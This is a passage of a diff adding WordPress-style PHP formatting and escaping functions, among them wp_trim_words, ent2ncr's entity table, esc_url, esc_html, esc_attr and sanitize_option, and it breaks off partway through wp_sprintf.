+		$text = strip_shortcodes( $text );
+
+		/** This filter is documented in wp-includes/post-template.php */
+		$text = apply_filters( 'the_content', $text );
+		$text = str_replace(']]>', ']]&gt;', $text);
+
+		/**
+		 * Filter the number of words in an excerpt.
+		 *
+		 * @since 2.7.0
+		 *
+		 * @param int $number The number of words. Default 55.
+		 */
+		$excerpt_length = apply_filters( 'excerpt_length', 55 );
+		/**
+		 * Filter the string in the "more" link displayed after a trimmed excerpt.
+		 *
+		 * @since 2.9.0
+		 *
+		 * @param string $more_string The string shown within the more link.
+		 */
+		$excerpt_more = apply_filters( 'excerpt_more', ' ' . '[&hellip;]' );
+		$text = wp_trim_words( $text, $excerpt_length, $excerpt_more );
+	}
+	/**
+	 * Filter the trimmed excerpt string.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @param string $text        The trimmed text.
+	 * @param string $raw_excerpt The text prior to trimming.
+	 */
+	return apply_filters( 'wp_trim_excerpt', $text, $raw_excerpt );
+}
+
+/**
+ * Trims text to a certain number of words.
+ *
+ * This function is localized. For languages that count 'words' by the individual
+ * character (such as East Asian languages), the $num_words argument will apply
+ * to the number of individual characters.
+ *
+ * @since 3.3.0
+ *
+ * @param string $text Text to trim.
+ * @param int $num_words Number of words. Default 55.
+ * @param string $more Optional. What to append if $text needs to be trimmed. Default '&hellip;'.
+ * @return string Trimmed text.
+ */
+function wp_trim_words( $text, $num_words = 55, $more = null ) {
+	if ( null === $more )
+		$more = __( '&hellip;' );
+	$original_text = $text;
+	$text = wp_strip_all_tags( $text );
+	/* translators: If your word count is based on single characters (East Asian characters),
+	   enter 'characters'. Otherwise, enter 'words'. Do not translate into your own language. */
+	if ( 'characters' == _x( 'words', 'word count: words or characters?' ) && preg_match( '/^utf\-?8$/i', get_option( 'blog_charset' ) ) ) {
+		$text = trim( preg_replace( "/[\n\r\t ]+/", ' ', $text ), ' ' );
+		preg_match_all( '/./u', $text, $words_array );
+		$words_array = array_slice( $words_array[0], 0, $num_words + 1 );
+		$sep = '';
+	} else {
+		$words_array = preg_split( "/[\n\r\t ]+/", $text, $num_words + 1, PREG_SPLIT_NO_EMPTY );
+		$sep = ' ';
+	}
+	if ( count( $words_array ) > $num_words ) {
+		array_pop( $words_array );
+		$text = implode( $sep, $words_array );
+		$text = $text . $more;
+	} else {
+		$text = implode( $sep, $words_array );
+	}
+	/**
+	 * Filter the text content after words have been trimmed.
+	 *
+	 * @since 3.3.0
+	 *
+	 * @param string $text          The trimmed text.
+	 * @param int    $num_words     The number of words to trim the text to. Default 5.
+	 * @param string $more          An optional string to append to the end of the trimmed text, e.g. &hellip;.
+	 * @param string $original_text The text before it was trimmed.
+	 */
+	return apply_filters( 'wp_trim_words', $text, $num_words, $more, $original_text );
+}
+
+/**
+ * Converts named entities into numbered entities.
+ *
+ * @since 1.5.1
+ *
+ * @param string $text The text within which entities will be converted.
+ * @return string Text with converted entities.
+ */
+function ent2ncr($text) {
+
+	/**
+	 * Filter text before named entities are converted into numbered entities.
+	 *
+	 * A non-null string must be returned for the filter to be evaluated.
+	 *
+	 * @since 3.3.0
+	 *
+	 * @param null   $converted_text The text to be converted. Default null.
+	 * @param string $text           The text prior to entity conversion.
+	 */
+	$filtered = apply_filters( 'pre_ent2ncr', null, $text );
+	if( null !== $filtered )
+		return $filtered;
+
+	$to_ncr = array(
+		'&quot;' => '&#34;',
+		'&amp;' => '&#38;',
+		'&lt;' => '&#60;',
+		'&gt;' => '&#62;',
+		'|' => '&#124;',
+		'&nbsp;' => '&#160;',
+		'&iexcl;' => '&#161;',
+		'&cent;' => '&#162;',
+		'&pound;' => '&#163;',
+		'&curren;' => '&#164;',
+		'&yen;' => '&#165;',
+		'&brvbar;' => '&#166;',
+		'&brkbar;' => '&#166;',
+		'&sect;' => '&#167;',
+		'&uml;' => '&#168;',
+		'&die;' => '&#168;',
+		'&copy;' => '&#169;',
+		'&ordf;' => '&#170;',
+		'&laquo;' => '&#171;',
+		'&not;' => '&#172;',
+		'&shy;' => '&#173;',
+		'&reg;' => '&#174;',
+		'&macr;' => '&#175;',
+		'&hibar;' => '&#175;',
+		'&deg;' => '&#176;',
+		'&plusmn;' => '&#177;',
+		'&sup2;' => '&#178;',
+		'&sup3;' => '&#179;',
+		'&acute;' => '&#180;',
+		'&micro;' => '&#181;',
+		'&para;' => '&#182;',
+		'&middot;' => '&#183;',
+		'&cedil;' => '&#184;',
+		'&sup1;' => '&#185;',
+		'&ordm;' => '&#186;',
+		'&raquo;' => '&#187;',
+		'&frac14;' => '&#188;',
+		'&frac12;' => '&#189;',
+		'&frac34;' => '&#190;',
+		'&iquest;' => '&#191;',
+		'&Agrave;' => '&#192;',
+		'&Aacute;' => '&#193;',
+		'&Acirc;' => '&#194;',
+		'&Atilde;' => '&#195;',
+		'&Auml;' => '&#196;',
+		'&Aring;' => '&#197;',
+		'&AElig;' => '&#198;',
+		'&Ccedil;' => '&#199;',
+		'&Egrave;' => '&#200;',
+		'&Eacute;' => '&#201;',
+		'&Ecirc;' => '&#202;',
+		'&Euml;' => '&#203;',
+		'&Igrave;' => '&#204;',
+		'&Iacute;' => '&#205;',
+		'&Icirc;' => '&#206;',
+		'&Iuml;' => '&#207;',
+		'&ETH;' => '&#208;',
+		'&Ntilde;' => '&#209;',
+		'&Ograve;' => '&#210;',
+		'&Oacute;' => '&#211;',
+		'&Ocirc;' => '&#212;',
+		'&Otilde;' => '&#213;',
+		'&Ouml;' => '&#214;',
+		'&times;' => '&#215;',
+		'&Oslash;' => '&#216;',
+		'&Ugrave;' => '&#217;',
+		'&Uacute;' => '&#218;',
+		'&Ucirc;' => '&#219;',
+		'&Uuml;' => '&#220;',
+		'&Yacute;' => '&#221;',
+		'&THORN;' => '&#222;',
+		'&szlig;' => '&#223;',
+		'&agrave;' => '&#224;',
+		'&aacute;' => '&#225;',
+		'&acirc;' => '&#226;',
+		'&atilde;' => '&#227;',
+		'&auml;' => '&#228;',
+		'&aring;' => '&#229;',
+		'&aelig;' => '&#230;',
+		'&ccedil;' => '&#231;',
+		'&egrave;' => '&#232;',
+		'&eacute;' => '&#233;',
+		'&ecirc;' => '&#234;',
+		'&euml;' => '&#235;',
+		'&igrave;' => '&#236;',
+		'&iacute;' => '&#237;',
+		'&icirc;' => '&#238;',
+		'&iuml;' => '&#239;',
+		'&eth;' => '&#240;',
+		'&ntilde;' => '&#241;',
+		'&ograve;' => '&#242;',
+		'&oacute;' => '&#243;',
+		'&ocirc;' => '&#244;',
+		'&otilde;' => '&#245;',
+		'&ouml;' => '&#246;',
+		'&divide;' => '&#247;',
+		'&oslash;' => '&#248;',
+		'&ugrave;' => '&#249;',
+		'&uacute;' => '&#250;',
+		'&ucirc;' => '&#251;',
+		'&uuml;' => '&#252;',
+		'&yacute;' => '&#253;',
+		'&thorn;' => '&#254;',
+		'&yuml;' => '&#255;',
+		'&OElig;' => '&#338;',
+		'&oelig;' => '&#339;',
+		'&Scaron;' => '&#352;',
+		'&scaron;' => '&#353;',
+		'&Yuml;' => '&#376;',
+		'&fnof;' => '&#402;',
+		'&circ;' => '&#710;',
+		'&tilde;' => '&#732;',
+		'&Alpha;' => '&#913;',
+		'&Beta;' => '&#914;',
+		'&Gamma;' => '&#915;',
+		'&Delta;' => '&#916;',
+		'&Epsilon;' => '&#917;',
+		'&Zeta;' => '&#918;',
+		'&Eta;' => '&#919;',
+		'&Theta;' => '&#920;',
+		'&Iota;' => '&#921;',
+		'&Kappa;' => '&#922;',
+		'&Lambda;' => '&#923;',
+		'&Mu;' => '&#924;',
+		'&Nu;' => '&#925;',
+		'&Xi;' => '&#926;',
+		'&Omicron;' => '&#927;',
+		'&Pi;' => '&#928;',
+		'&Rho;' => '&#929;',
+		'&Sigma;' => '&#931;',
+		'&Tau;' => '&#932;',
+		'&Upsilon;' => '&#933;',
+		'&Phi;' => '&#934;',
+		'&Chi;' => '&#935;',
+		'&Psi;' => '&#936;',
+		'&Omega;' => '&#937;',
+		'&alpha;' => '&#945;',
+		'&beta;' => '&#946;',
+		'&gamma;' => '&#947;',
+		'&delta;' => '&#948;',
+		'&epsilon;' => '&#949;',
+		'&zeta;' => '&#950;',
+		'&eta;' => '&#951;',
+		'&theta;' => '&#952;',
+		'&iota;' => '&#953;',
+		'&kappa;' => '&#954;',
+		'&lambda;' => '&#955;',
+		'&mu;' => '&#956;',
+		'&nu;' => '&#957;',
+		'&xi;' => '&#958;',
+		'&omicron;' => '&#959;',
+		'&pi;' => '&#960;',
+		'&rho;' => '&#961;',
+		'&sigmaf;' => '&#962;',
+		'&sigma;' => '&#963;',
+		'&tau;' => '&#964;',
+		'&upsilon;' => '&#965;',
+		'&phi;' => '&#966;',
+		'&chi;' => '&#967;',
+		'&psi;' => '&#968;',
+		'&omega;' => '&#969;',
+		'&thetasym;' => '&#977;',
+		'&upsih;' => '&#978;',
+		'&piv;' => '&#982;',
+		'&ensp;' => '&#8194;',
+		'&emsp;' => '&#8195;',
+		'&thinsp;' => '&#8201;',
+		'&zwnj;' => '&#8204;',
+		'&zwj;' => '&#8205;',
+		'&lrm;' => '&#8206;',
+		'&rlm;' => '&#8207;',
+		'&ndash;' => '&#8211;',
+		'&mdash;' => '&#8212;',
+		'&lsquo;' => '&#8216;',
+		'&rsquo;' => '&#8217;',
+		'&sbquo;' => '&#8218;',
+		'&ldquo;' => '&#8220;',
+		'&rdquo;' => '&#8221;',
+		'&bdquo;' => '&#8222;',
+		'&dagger;' => '&#8224;',
+		'&Dagger;' => '&#8225;',
+		'&bull;' => '&#8226;',
+		'&hellip;' => '&#8230;',
+		'&permil;' => '&#8240;',
+		'&prime;' => '&#8242;',
+		'&Prime;' => '&#8243;',
+		'&lsaquo;' => '&#8249;',
+		'&rsaquo;' => '&#8250;',
+		'&oline;' => '&#8254;',
+		'&frasl;' => '&#8260;',
+		'&euro;' => '&#8364;',
+		'&image;' => '&#8465;',
+		'&weierp;' => '&#8472;',
+		'&real;' => '&#8476;',
+		'&trade;' => '&#8482;',
+		'&alefsym;' => '&#8501;',
+		'&crarr;' => '&#8629;',
+		'&lArr;' => '&#8656;',
+		'&uArr;' => '&#8657;',
+		'&rArr;' => '&#8658;',
+		'&dArr;' => '&#8659;',
+		'&hArr;' => '&#8660;',
+		'&forall;' => '&#8704;',
+		'&part;' => '&#8706;',
+		'&exist;' => '&#8707;',
+		'&empty;' => '&#8709;',
+		'&nabla;' => '&#8711;',
+		'&isin;' => '&#8712;',
+		'&notin;' => '&#8713;',
+		'&ni;' => '&#8715;',
+		'&prod;' => '&#8719;',
+		'&sum;' => '&#8721;',
+		'&minus;' => '&#8722;',
+		'&lowast;' => '&#8727;',
+		'&radic;' => '&#8730;',
+		'&prop;' => '&#8733;',
+		'&infin;' => '&#8734;',
+		'&ang;' => '&#8736;',
+		'&and;' => '&#8743;',
+		'&or;' => '&#8744;',
+		'&cap;' => '&#8745;',
+		'&cup;' => '&#8746;',
+		'&int;' => '&#8747;',
+		'&there4;' => '&#8756;',
+		'&sim;' => '&#8764;',
+		'&cong;' => '&#8773;',
+		'&asymp;' => '&#8776;',
+		'&ne;' => '&#8800;',
+		'&equiv;' => '&#8801;',
+		'&le;' => '&#8804;',
+		'&ge;' => '&#8805;',
+		'&sub;' => '&#8834;',
+		'&sup;' => '&#8835;',
+		'&nsub;' => '&#8836;',
+		'&sube;' => '&#8838;',
+		'&supe;' => '&#8839;',
+		'&oplus;' => '&#8853;',
+		'&otimes;' => '&#8855;',
+		'&perp;' => '&#8869;',
+		'&sdot;' => '&#8901;',
+		'&lceil;' => '&#8968;',
+		'&rceil;' => '&#8969;',
+		'&lfloor;' => '&#8970;',
+		'&rfloor;' => '&#8971;',
+		'&lang;' => '&#9001;',
+		'&rang;' => '&#9002;',
+		'&larr;' => '&#8592;',
+		'&uarr;' => '&#8593;',
+		'&rarr;' => '&#8594;',
+		'&darr;' => '&#8595;',
+		'&harr;' => '&#8596;',
+		'&loz;' => '&#9674;',
+		'&spades;' => '&#9824;',
+		'&clubs;' => '&#9827;',
+		'&hearts;' => '&#9829;',
+		'&diams;' => '&#9830;'
+	);
+
+	return str_replace( array_keys($to_ncr), array_values($to_ncr), $text );
+}
+
+/**
+ * Formats text for the rich text editor.
+ *
+ * The filter 'richedit_pre' is applied here. If $text is empty the filter will
+ * be applied to an empty string.
+ *
+ * @since 2.0.0
+ *
+ * @param string $text The text to be formatted.
+ * @return string The formatted text after filter is applied.
+ */
+function wp_richedit_pre($text) {
+	if ( empty( $text ) ) {
+		/**
+		 * Filter text returned for the rich text editor.
+		 *
+		 * This filter is first evaluated, and the value returned, if an empty string
+		 * is passed to wp_richedit_pre(). If an empty string is passed, it results
+		 * in a break tag and line feed.
+		 *
+		 * If a non-empty string is passed, the filter is evaluated on the wp_richedit_pre()
+		 * return after being formatted.
+		 *
+		 * @since 2.0.0
+		 *
+		 * @param string $output Text for the rich text editor.
+		 */
+		return apply_filters( 'richedit_pre', '' );
+	}
+
+	$output = convert_chars($text);
+	$output = wpautop($output);
+	$output = htmlspecialchars($output, ENT_NOQUOTES, get_option( 'blog_charset' ) );
+
+	/** This filter is documented in wp-includes/formatting.php */
+	return apply_filters( 'richedit_pre', $output );
+}
+
+/**
+ * Formats text for the HTML editor.
+ *
+ * Unless $output is empty it will pass through htmlspecialchars before the
+ * 'htmledit_pre' filter is applied.
+ *
+ * @since 2.5.0
+ *
+ * @param string $output The text to be formatted.
+ * @return string Formatted text after filter applied.
+ */
+function wp_htmledit_pre($output) {
+	if ( !empty($output) )
+		$output = htmlspecialchars($output, ENT_NOQUOTES, get_option( 'blog_charset' ) ); // convert only < > &
+
+	/**
+	 * Filter the text before it is formatted for the HTML editor.
+	 *
+	 * @since 2.5.0
+	 *
+	 * @param string $output The HTML-formatted text.
+	 */
+	return apply_filters( 'htmledit_pre', $output );
+}
+
+/**
+ * Perform a deep string replace operation to ensure the values in $search are no longer present
+ *
+ * Repeats the replacement operation until it no longer replaces anything so as to remove "nested" values
+ * e.g. $subject = '%0%0%0DDD', $search ='%0D', $result ='' rather than the '%0%0DD' that
+ * str_replace would return
+ *
+ * @since 2.8.1
+ * @access private
+ *
+ * @param string|array $search The value being searched for, otherwise known as the needle. An array may be used to designate multiple needles.
+ * @param string $subject The string being searched and replaced on, otherwise known as the haystack.
+ * @return string The string with the replaced svalues.
+ */
+function _deep_replace( $search, $subject ) {
+	$subject = (string) $subject;
+
+	$count = 1;
+	while ( $count ) {
+		$subject = str_replace( $search, '', $subject, $count );
+	}
+
+	return $subject;
+}
+
+/**
+ * Escapes data for use in a MySQL query.
+ *
+ * Usually you should prepare queries using wpdb::prepare().
+ * Sometimes, spot-escaping is required or useful. One example
+ * is preparing an array for use in an IN clause.
+ *
+ * @since 2.8.0
+ * @param string|array $data Unescaped data
+ * @return string|array Escaped data
+ */
+function esc_sql( $data ) {
+	global $wpdb;
+	return $wpdb->_escape( $data );
+}
+
+/**
+ * Checks and cleans a URL.
+ *
+ * A number of characters are removed from the URL. If the URL is for displaying
+ * (the default behaviour) ampersands are also replaced. The 'clean_url' filter
+ * is applied to the returned cleaned URL.
+ *
+ * @since 2.8.0
+ *
+ * @param string $url The URL to be cleaned.
+ * @param array $protocols Optional. An array of acceptable protocols.
+ *		Defaults to 'http', 'https', 'ftp', 'ftps', 'mailto', 'news', 'irc', 'gopher', 'nntp', 'feed', 'telnet', 'mms', 'rtsp', 'svn' if not set.
+ * @param string $_context Private. Use esc_url_raw() for database usage.
+ * @return string The cleaned $url after the 'clean_url' filter is applied.
+ */
+function esc_url( $url, $protocols = null, $_context = 'display' ) {
+	$original_url = $url;
+
+	if ( '' == $url )
+		return $url;
+	$url = preg_replace('|[^a-z0-9-~+_.?#=!&;,/:%@$\|*\'()\\x80-\\xff]|i', '', $url);
+	$strip = array('%0d', '%0a', '%0D', '%0A');
+	$url = _deep_replace($strip, $url);
+	$url = str_replace(';//', '://', $url);
+	/* If the URL doesn't appear to contain a scheme, we
+	 * presume it needs http:// appended (unless a relative
+	 * link starting with /, # or ? or a php file).
+	 */
+	if ( strpos($url, ':') === false && ! in_array( $url[0], array( '/', '#', '?' ) ) &&
+		! preg_match('/^[a-z0-9-]+?\.php/i', $url) )
+		$url = 'http://' . $url;
+
+	// Replace ampersands and single quotes only when displaying.
+	if ( 'display' == $_context ) {
+		$url = wp_kses_normalize_entities( $url );
+		$url = str_replace( '&amp;', '&#038;', $url );
+		$url = str_replace( "'", '&#039;', $url );
+	}
+
+	if ( '/' === $url[0] ) {
+		$good_protocol_url = $url;
+	} else {
+		if ( ! is_array( $protocols ) )
+			$protocols = wp_allowed_protocols();
+		$good_protocol_url = wp_kses_bad_protocol( $url, $protocols );
+		if ( strtolower( $good_protocol_url ) != strtolower( $url ) )
+			return '';
+	}
+
+	/**
+	 * Filter a string cleaned and escaped for output as a URL.
+	 *
+	 * @since 2.3.0
+	 *
+	 * @param string $good_protocol_url The cleaned URL to be returned.
+	 * @param string $original_url      The URL prior to cleaning.
+	 * @param string $_context          If 'display', replace ampersands and single quotes only.
+	 */
+	return apply_filters( 'clean_url', $good_protocol_url, $original_url, $_context );
+}
+
+/**
+ * Performs esc_url() for database usage.
+ *
+ * @since 2.8.0
+ *
+ * @param string $url The URL to be cleaned.
+ * @param array $protocols An array of acceptable protocols.
+ * @return string The cleaned URL.
+ */
+function esc_url_raw( $url, $protocols = null ) {
+	return esc_url( $url, $protocols, 'db' );
+}
+
+/**
+ * Convert entities, while preserving already-encoded entities.
+ *
+ * @link http://www.php.net/htmlentities Borrowed from the PHP Manual user notes.
+ *
+ * @since 1.2.2
+ *
+ * @param string $myHTML The text to be converted.
+ * @return string Converted text.
+ */
+function htmlentities2($myHTML) {
+	$translation_table = get_html_translation_table( HTML_ENTITIES, ENT_QUOTES );
+	$translation_table[chr(38)] = '&';
+	return preg_replace( "/&(?![A-Za-z]{0,4}\w{2,3};|#[0-9]{2,3};)/", "&amp;", strtr($myHTML, $translation_table) );
+}
+
+/**
+ * Escape single quotes, htmlspecialchar " < > &, and fix line endings.
+ *
+ * Escapes text strings for echoing in JS. It is intended to be used for inline JS
+ * (in a tag attribute, for example onclick="..."). Note that the strings have to
+ * be in single quotes. The filter 'js_escape' is also applied here.
+ *
+ * @since 2.8.0
+ *
+ * @param string $text The text to be escaped.
+ * @return string Escaped text.
+ */
+function esc_js( $text ) {
+	$safe_text = wp_check_invalid_utf8( $text );
+	$safe_text = _wp_specialchars( $safe_text, ENT_COMPAT );
+	$safe_text = preg_replace( '/&#(x)?0*(?(1)27|39);?/i', "'", stripslashes( $safe_text ) );
+	$safe_text = str_replace( "\r", '', $safe_text );
+	$safe_text = str_replace( "\n", '\\n', addslashes( $safe_text ) );
+	/**
+	 * Filter a string cleaned and escaped for output in JavaScript.
+	 *
+	 * Text passed to esc_js() is stripped of invalid or special characters,
+	 * and properly slashed for output.
+	 *
+	 * @since 2.0.6
+	 *
+	 * @param string $safe_text The text after it has been escaped.
+ 	 * @param string $text      The text prior to being escaped.
+	 */
+	return apply_filters( 'js_escape', $safe_text, $text );
+}
+
+/**
+ * Escaping for HTML blocks.
+ *
+ * @since 2.8.0
+ *
+ * @param string $text
+ * @return string
+ */
+function esc_html( $text ) {
+	$safe_text = wp_check_invalid_utf8( $text );
+	$safe_text = _wp_specialchars( $safe_text, ENT_QUOTES );
+	/**
+	 * Filter a string cleaned and escaped for output in HTML.
+	 *
+	 * Text passed to esc_html() is stripped of invalid or special characters
+	 * before output.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @param string $safe_text The text after it has been escaped.
+ 	 * @param string $text      The text prior to being escaped.
+	 */
+	return apply_filters( 'esc_html', $safe_text, $text );
+}
+
+/**
+ * Escaping for HTML attributes.
+ *
+ * @since 2.8.0
+ *
+ * @param string $text
+ * @return string
+ */
+function esc_attr( $text ) {
+	$safe_text = wp_check_invalid_utf8( $text );
+	$safe_text = _wp_specialchars( $safe_text, ENT_QUOTES );
+	/**
+	 * Filter a string cleaned and escaped for output in an HTML attribute.
+	 *
+	 * Text passed to esc_attr() is stripped of invalid or special characters
+	 * before output.
+	 *
+	 * @since 2.0.6
+	 *
+	 * @param string $safe_text The text after it has been escaped.
+ 	 * @param string $text      The text prior to being escaped.
+	 */
+	return apply_filters( 'attribute_escape', $safe_text, $text );
+}
+
+/**
+ * Escaping for textarea values.
+ *
+ * @since 3.1.0
+ *
+ * @param string $text
+ * @return string
+ */
+function esc_textarea( $text ) {
+	$safe_text = htmlspecialchars( $text, ENT_QUOTES, get_option( 'blog_charset' ) );
+	/**
+	 * Filter a string cleaned and escaped for output in a textarea element.
+	 *
+	 * @since 3.1.0
+	 *
+	 * @param string $safe_text The text after it has been escaped.
+ 	 * @param string $text      The text prior to being escaped.
+	 */
+	return apply_filters( 'esc_textarea', $safe_text, $text );
+}
+
+/**
+ * Escape an HTML tag name.
+ *
+ * @since 2.5.0
+ *
+ * @param string $tag_name
+ * @return string
+ */
+function tag_escape($tag_name) {
+	$safe_tag = strtolower( preg_replace('/[^a-zA-Z0-9_:]/', '', $tag_name) );
+	/**
+	 * Filter a string cleaned and escaped for output as an HTML tag.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @param string $safe_tag The tag name after it has been escaped.
+ 	 * @param string $tag_name The text before it was escaped.
+	 */
+	return apply_filters( 'tag_escape', $safe_tag, $tag_name );
+}
+
+/**
+ * Convert full URL paths to absolute paths.
+ *
+ * Removes the http or https protocols and the domain. Keeps the path '/' at the
+ * beginning, so it isn't a true relative link, but from the web root base.
+ *
+ * @since 2.1.0
+ * @since 4.1.0 Support was added for relative URLs.
+ *
+ * @param string $link Full URL path.
+ * @return string Absolute path.
+ */
+function wp_make_link_relative( $link ) {
+	return preg_replace( '|^(https?:)?//[^/]+(/.*)|i', '$2', $link );
+}
+
+/**
+ * Sanitises various option values based on the nature of the option.
+ *
+ * This is basically a switch statement which will pass $value through a number
+ * of functions depending on the $option.
+ *
+ * @since 2.0.5
+ *
+ * @param string $option The name of the option.
+ * @param string $value The unsanitised value.
+ * @return string Sanitized value.
+ */
+function sanitize_option($option, $value) {
+
+	switch ( $option ) {
+		case 'admin_email' :
+		case 'new_admin_email' :
+			$value = sanitize_email( $value );
+			if ( ! is_email( $value ) ) {
+				$value = get_option( $option ); // Resets option to stored value in the case of failed sanitization
+				if ( function_exists( 'add_settings_error' ) )
+					add_settings_error( $option, 'invalid_admin_email', __( 'The email address entered did not appear to be a valid email address. Please enter a valid email address.' ) );
+			}
+			break;
+
+		case 'thumbnail_size_w':
+		case 'thumbnail_size_h':
+		case 'medium_size_w':
+		case 'medium_size_h':
+		case 'large_size_w':
+		case 'large_size_h':
+		case 'mailserver_port':
+		case 'comment_max_links':
+		case 'page_on_front':
+		case 'page_for_posts':
+		case 'rss_excerpt_length':
+		case 'default_category':
+		case 'default_email_category':
+		case 'default_link_category':
+		case 'close_comments_days_old':
+		case 'comments_per_page':
+		case 'thread_comments_depth':
+		case 'users_can_register':
+		case 'start_of_week':
+			$value = absint( $value );
+			break;
+
+		case 'posts_per_page':
+		case 'posts_per_rss':
+			$value = (int) $value;
+			if ( empty($value) )
+				$value = 1;
+			if ( $value < -1 )
+				$value = abs($value);
+			break;
+
+		case 'default_ping_status':
+		case 'default_comment_status':
+			// Options that if not there have 0 value but need to be something like "closed"
+			if ( $value == '0' || $value == '')
+				$value = 'closed';
+			break;
+
+		case 'blogdescription':
+		case 'blogname':
+			$value = wp_kses_post( $value );
+			$value = esc_html( $value );
+			break;
+
+		case 'blog_charset':
+			$value = preg_replace('/[^a-zA-Z0-9_-]/', '', $value); // strips slashes
+			break;
+
+		case 'blog_public':
+			// This is the value if the settings checkbox is not checked on POST. Don't rely on this.
+			if ( null === $value )
+				$value = 1;
+			else
+				$value = intval( $value );
+			break;
+
+		case 'date_format':
+		case 'time_format':
+		case 'mailserver_url':
+		case 'mailserver_login':
+		case 'mailserver_pass':
+		case 'upload_path':
+			$value = strip_tags( $value );
+			$value = wp_kses_data( $value );
+			break;
+
+		case 'ping_sites':
+			$value = explode( "\n", $value );
+			$value = array_filter( array_map( 'trim', $value ) );
+			$value = array_filter( array_map( 'esc_url_raw', $value ) );
+			$value = implode( "\n", $value );
+			break;
+
+		case 'gmt_offset':
+			$value = preg_replace('/[^0-9:.-]/', '', $value); // strips slashes
+			break;
+
+		case 'siteurl':
+			if ( (bool)preg_match( '#http(s?)://(.+)#i', $value) ) {
+				$value = esc_url_raw($value);
+			} else {
+				$value = get_option( $option ); // Resets option to stored value in the case of failed sanitization
+				if ( function_exists('add_settings_error') )
+					add_settings_error('siteurl', 'invalid_siteurl', __('The WordPress address you entered did not appear to be a valid URL. Please enter a valid URL.'));
+			}
+			break;
+
+		case 'home':
+			if ( (bool)preg_match( '#http(s?)://(.+)#i', $value) ) {
+				$value = esc_url_raw($value);
+			} else {
+				$value = get_option( $option ); // Resets option to stored value in the case of failed sanitization
+				if ( function_exists('add_settings_error') )
+					add_settings_error('home', 'invalid_home', __('The Site address you entered did not appear to be a valid URL. Please enter a valid URL.'));
+			}
+			break;
+
+		case 'WPLANG':
+			$allowed = get_available_languages();
+			if ( ! is_multisite() && defined( 'WPLANG' ) && '' !== WPLANG && 'en_US' !== WPLANG ) {
+				$allowed[] = WPLANG;
+			}
+			if ( ! in_array( $value, $allowed ) && ! empty( $value ) ) {
+				$value = get_option( $option );
+			}
+			break;
+
+		case 'illegal_names':
+			if ( ! is_array( $value ) )
+				$value = explode( ' ', $value );
+
+			$value = array_values( array_filter( array_map( 'trim', $value ) ) );
+
+			if ( ! $value )
+				$value = '';
+			break;
+
+		case 'limited_email_domains':
+		case 'banned_email_domains':
+			if ( ! is_array( $value ) )
+				$value = explode( "\n", $value );
+
+			$domains = array_values( array_filter( array_map( 'trim', $value ) ) );
+			$value = array();
+
+			foreach ( $domains as $domain ) {
+				if ( ! preg_match( '/(--|\.\.)/', $domain ) && preg_match( '|^([a-zA-Z0-9-\.])+$|', $domain ) )
+					$value[] = $domain;
+			}
+			if ( ! $value )
+				$value = '';
+			break;
+
+		case 'timezone_string':
+			$allowed_zones = timezone_identifiers_list();
+			if ( ! in_array( $value, $allowed_zones ) && ! empty( $value ) ) {
+				$value = get_option( $option ); // Resets option to stored value in the case of failed sanitization
+				if ( function_exists('add_settings_error') )
+					add_settings_error('timezone_string', 'invalid_timezone_string', __('The timezone you have entered is not valid. Please select a valid timezone.') );
+			}
+			break;
+
+		case 'permalink_structure':
+		case 'category_base':
+		case 'tag_base':
+			$value = esc_url_raw( $value );
+			$value = str_replace( 'http://', '', $value );
+			break;
+
+		case 'default_role' :
+			if ( ! get_role( $value ) && get_role( 'subscriber' ) )
+				$value = 'subscriber';
+			break;
+
+		case 'moderation_keys':
+		case 'blacklist_keys':
+			$value = explode( "\n", $value );
+			$value = array_filter( array_map( 'trim', $value ) );
+			$value = array_unique( $value );
+			$value = implode( "\n", $value );
+			break;
+	}
+
+	/**
+	 * Filter an option value following sanitization.
+	 *
+	 * @since 2.3.0
+	 *
+	 * @param string $value  The sanitized option value.
+	 * @param string $option The option name.
+	 */
+	$value = apply_filters( "sanitize_option_{$option}", $value, $option );
+
+	return $value;
+}
+
+/**
+ * Parses a string into variables to be stored in an array.
+ *
+ * Uses {@link http://www.php.net/parse_str parse_str()} and stripslashes if
+ * {@link http://www.php.net/magic_quotes magic_quotes_gpc} is on.
+ *
+ * @since 2.2.1
+ *
+ * @param string $string The string to be parsed.
+ * @param array $array Variables will be stored in this array.
+ */
+function wp_parse_str( $string, &$array ) {
+	parse_str( $string, $array );
+	if ( get_magic_quotes_gpc() )
+		$array = stripslashes_deep( $array );
+	/**
+	 * Filter the array of variables derived from a parsed string.
+	 *
+	 * @since 2.3.0
+	 *
+	 * @param array $array The array populated with variables.
+	 */
+	$array = apply_filters( 'wp_parse_str', $array );
+}
+
+/**
+ * Convert lone less than signs.
+ *
+ * KSES already converts lone greater than signs.
+ *
+ * @since 2.3.0
+ *
+ * @param string $text Text to be converted.
+ * @return string Converted text.
+ */
+function wp_pre_kses_less_than( $text ) {
+	return preg_replace_callback('%<[^>]*?((?=<)|>|$)%', 'wp_pre_kses_less_than_callback', $text);
+}
+
+/**
+ * Callback function used by preg_replace.
+ *
+ * @since 2.3.0
+ *
+ * @param array $matches Populated by matches to preg_replace.
+ * @return string The text returned after esc_html if needed.
+ */
+function wp_pre_kses_less_than_callback( $matches ) {
+	if ( false === strpos($matches[0], '>') )
+		return esc_html($matches[0]);
+	return $matches[0];
+}
+
+/**
+ * WordPress implementation of PHP sprintf() with filters.
+ *
+ * @since 2.5.0
+ * @link http://www.php.net/sprintf
+ *
+ * @param string $pattern The string which formatted args are inserted.
+ * @param mixed $args,... Arguments to be formatted into the $pattern string.
+ * @return string The formatted string.
+ */
+function wp_sprintf( $pattern ) {
+	$args = func_get_args();
+	$len = strlen($pattern);
+	$start = 0;
+	$result = '';
+	$arg_index = 0;
+	while ( $len > $start ) {
+		// Last character: append and break
+		if ( strlen($pattern) - 1 == $start ) {
+			$result .= substr($pattern, -1);
+			break;
+		}
+
+		// Literal %: append and continue
+		if ( substr($pattern, $start, 2) == '%%' ) {
+			$start += 2;
+			$result .= '%';
+			continue;
+		}
+
+		// Get fragment before next %
+		$end = strpos($pattern, '%', $start + 1);
+		if ( false === $end )
+			$end = $len;
+		$fragment = substr($pattern, $start, $end - $start);
+
+		// Fragment has a specifier
+		if ( $pattern[$start] == '%' ) {
+			// Find numbered arguments or take the next one in order
+			if ( preg_match('/^%(\d+)\$/', $fragment, $matches) ) {
+				$arg = isset($args[$matches[1]]) ? $args[$matches[1]] : '';
+				$fragment = str_replace("%{$matches[1]}$", '%', $fragment);
+			} else {
+				++$arg_index;
